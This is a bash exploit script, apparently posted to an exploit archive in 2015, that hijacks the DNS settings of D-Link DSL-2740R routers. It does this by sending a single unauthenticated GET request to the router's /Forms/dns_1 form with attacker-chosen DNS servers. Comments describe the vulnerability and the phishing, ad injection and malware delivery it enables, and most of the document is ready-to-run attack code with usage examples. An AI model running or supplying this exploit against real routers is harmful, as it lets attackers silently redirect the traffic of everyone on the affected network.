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D-Link DSL-2740R Unauthenticated Remote DNS Change

Posted on 28 January 2015

#!/bin/bash
#
# D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit
#
# Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
# http://www.ethical-hacker.org/
#
# Description:
# Different D-Link Routers are vulnerable to DNS change.
# The vulnerability exist in the web interface, which is
# accessible without authentication.
#
# ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link
# DEVICES MAY AFFECTED.
#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems' DNS settings allows cybercriminals to
# perform malicious activities like:
#
# o Steering unknowing users to bad sites:
# These sites can be phishing pages that
# spoof well-known sites in order to
# trick users into handing out sensitive
# information.
#
# o Replacing ads on legitimate sites:
# Visiting certain sites can serve users
# with infected systems a different set
# of ads from those whose systems are
# not infected.
#
# o Controlling and redirecting network traffic:
# Users of infected systems may not be granted
# access to download important OS and software
# updates from vendors like Microsoft and from
# their respective security vendors.
#
# o Pushing additional malware:
# Infected systems are more prone to other
# malware infections (e.g., FAKEAV infection).
#
#

if [[ $# -gt 3 || $# -lt 2 ]]; then
 echo " D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit"
 echo " ================================================================"
 echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
 echo " Example: $0 192.168.1.1 8.8.8.8"
 echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
 echo ""
 echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
 echo " http://www.ethical-hacker.org/"
 exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
 echo " Error : libwww-perl not found =/"
 exit;
fi
 GET "http://$1/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=$2&dnsSecondary=$3" 0&> /dev/null <&1

 

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